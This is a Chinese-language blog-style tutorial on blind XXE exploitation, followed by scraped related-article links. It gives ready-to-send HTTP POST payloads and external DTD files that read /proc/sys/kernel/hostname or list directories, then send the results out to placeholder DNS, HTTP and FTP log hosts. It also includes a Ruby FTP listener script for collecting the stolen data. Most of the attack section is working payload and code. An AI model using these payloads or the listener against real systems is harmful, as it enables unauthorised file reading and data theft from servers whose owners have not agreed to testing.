简单验证

POST /test HTTP/1.1
Content-Type: application/soap+xml
User-Agent: scanner
Accept: */*
Cache-Control: no-cache
Host: 域名
Content-Length: 142
Connection: close <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://dnslog">
%remote;]>
<root/>

接收信息以证明

XML的规范定义中,只有在DTD中才能引用参数实体. 参数实体的声明和引用都是以百分号%。并且参数实体的引用在DTD是理解解析的,替换文本将变成DTD的一部分。

要将信息发出来还需要再自己服务器上构造DTD。

1) 接收单行文件信息(主机名)

发送的POC
POST /test HTTP/1.1
Content-Type: application/soap+xml
User-Agent: scanner
Accept: */*
Cache-Control: no-cache
Host: 域名
Content-Length: 142
Connection: close <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://web服务器/cc.xml">
%remote;]>
<root/> cc.xml文件
<!ENTITY % file SYSTEM "file:///proc/sys/kernel/hostname">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://%file;.dnslog地址/test'>">
%int;
%send; > 没错,就是取值符号加井号加37加分号 这个不太稳定,多发几遍。
发了几十遍出来了几次dns请求。
估计是在读文件拼接发请求处有什么拦截 这里怀疑/kernel/hostname文件中有转义字符、空格、换行符什么的,所以可能造成拼在域名中,无法发出dns信息。
所以用http log也挺好的
<!ENTITY % file SYSTEM "file:///proc/sys/kernel/hostname">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://httplog地址/%file;'>">
%int;
%send;

2) 接收多行文件信息


发送的POC
POST /test HTTP/1.1
Content-Type: application/soap+xml
User-Agent: scanner
Accept: */*
Cache-Control: no-cache
Host: 域名
Content-Length: 142
Connection: close <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://web服务器/cc.xml">
%remote;]>
<root/> 二
cc.xml文件
<!ENTITY % file SYSTEM "file:///proc/sys/kernel/hostname">
<!ENTITY % int "<!ENTITY % send SYSTEM 'ftp://你的地址:33/%file;'>">
%int;
%send; 三
再再服务器上监听设定的端口(这里写的是33端口)
vi ftp.rb require 'socket'
server = TCPServer.new 33
loop do
Thread.start(server.accept) do |client|
print "New client connected\n"
data = ""
client.puts("220 xxe-ftp-server")
loop {
req = client.gets()
print "< "+req
if req.include? "USER"
client.puts("331 password please - version check")
else
#puts "> 230 more data please!"
client.puts("230 more data please!")
end
}
print "\n"
end
end ruby ftp.rb

列目录的DTD

把文件路径换成文件夹名就能列目录了

<!ENTITY % file SYSTEM "file:///etc/">
<!ENTITY % int "<!ENTITY % send SYSTEM 'ftp://你的地址:33/%file;'>">
%int;
%send;

helps

github监听脚本-ruby

xxe总结

XXE利用

blind XXE payload的更多相关文章

  1. 关于Blind XXE

    关于Blind XXE 关于XXE,很早之前内部做过分享,个人觉得漏洞本身没太多的玩点,比较有意思主要在于:不同语言处理URI的多元化和不同XML解析器在解析XML的一些特性. 在科普Blind XX ...

  2. WeCenter3.1.7 blind xxe 分析

    xxe漏洞危害大,可以查看任意文件,执行系统命令,进行ddos等,但是本次漏洞有一条件,需要后台登录,所以危害降低了,下面是详细分析 在models/weixin.php public functio ...

  3. 微信开源PHP商城系统一处blind xxe(无需登录,附POC)

    测试版本wemall 3.3 下载地址 http://git.oschina.net/einsqing/wemall/repository/archive?ref=master 需要开源中国的账号 c ...

  4. blind xxe攻击

    最近做啊里的题的时候遇到了 http://hivesec.net/web-security/%E5%85%B3%E4%BA%8Eblind-xxe.html

  5. XML注入介绍--XXE,XEE,xpath等

    XML注入指在请求的XML中插入攻击利用代码.根据不同的场景,可能会形成以下的漏洞形式: (1)XEE ----xml entity xpansion(xml实体膨胀,用于dos) 具体介绍:http ...

  6. xxe漏洞检测及代码执行过程

    这两天看了xxe漏洞,写一下自己的理解,xxe漏洞主要针对webservice危险的引用的外部实体并且未对外部实体进行敏感字符的过滤,从而可以造成命令执行,目録遍历等.首先存在漏洞的web服务一定是存 ...

  7. 漏洞经验分享丨Java审计之XXE(下)

    上篇内容我们介绍了XXE的基础概念和审计函数的相关内容,今天我们将继续分享Blind XXE与OOB-XXE的知识点以及XXE防御方法,希望对大家的学习有所帮助! 上期回顾  ◀漏洞经验分享丨Java ...

  8. XXE(XML External Entity attack)XML外部实体注入攻击

    导语 XXE:XML External Entity 即外部实体,从安全角度理解成XML External Entity attack 外部实体注入攻击.由于程序在解析输入的XML数据时,解析了攻击者 ...

  9. [Web安全] XXE漏洞攻防学习(中)

    0x00.XXE漏洞攻击实例 攻击思路: 1. 引用外部实体远程文件读取 2. Blind XXE 3. Dos 0x01.外部实体引用,有回显 实验操作平台:bWAPP平台上的XXE题目 题目: 进 ...

随机推荐

  1. kafka原理分析

    #kafka为什么有高吞吐量 1 由于接收数据时可以设置request.required.acks参数,一般设定为1或者0,即生产者发送消息0代表不关心kafka是否接收成功,也就是关闭ack:1代表 ...

  2. Recurrent neural network (RNN) - Pytorch版

    import torch import torch.nn as nn import torchvision import torchvision.transforms as transforms # ...

  3. .NET Core 配置文件

    老一代配置系统 1,XML格式 格式单一. 2,配置信息Kye,只能一维化配置 3,框架信息和应用程序信息混合到一起 应用程序中是 App.config web项目中           web.co ...

  4. Word 下划线无法对齐?用表格替代下划线(论文封面必备)

    1. 前言 在使用Word排版制作合同或者论文封面时,我们可能会使用一些下划线,但是,你在下划线上输入内容后,发现下划线会随着内容而增长,根本无法与上下的下划线对齐.有什么好办法可以解决这一问题呢?其 ...

  5. C++ 中的 多态性

    一 .多态性 1.多态性概述:多态是指同样的消息被不同类型的对象接受时导致不同的行为 2.多态实现:编译时的多态:在编译的过程中确定了同名操作的具体对象.   运行时的多态:在程序运行过程中动态地确定 ...

  6. 前端小tite(随笔)

    前端 自定义居中#照片 万能s居中 .second-listleft{/*固定位置*/ position: relative; float: left; width: 25%; height: 100 ...

  7. 机器学习支持向量机SVM笔记

    SVM简述: SVM是一个线性二类分类器,当然通过选取特定的核函数也可也建立一个非线性支持向量机.SVM也可以做一些回归任务,但是它预测的时效性不是太长,他通过训练只能预测比较近的数据变化,至于再往后 ...

  8. Vue.js 2.x 混入

    Vue.js 2.x mixins 混入 混入(mixins)是一种分发vue组件中可复用功能的非常灵活的方式.混入对象可以包含任意组件选项.当组件使用混入对象时,所有混入对象的选项将被混入该组件本身 ...

  9. 网页调试js时,如何知道某个事件对应哪段js代码?

    有时候我们需要知道某个事件对应的js代码,比如点击一个div元素时,出现下拉框,我想知道这个功能对应的js代码,那就可以按下图操作: 勾选click事件,重新运行,那么就会在每个click事件那里设置 ...

  10. laravel 中将一对多关联查询的结果去重处理

    先交代下数据表结构 主表(订单表)order数据 ord_id order_sn 1 EX2019100123458 其中主键为order_id(订单id) 子表(门票表)order_item数据 o ...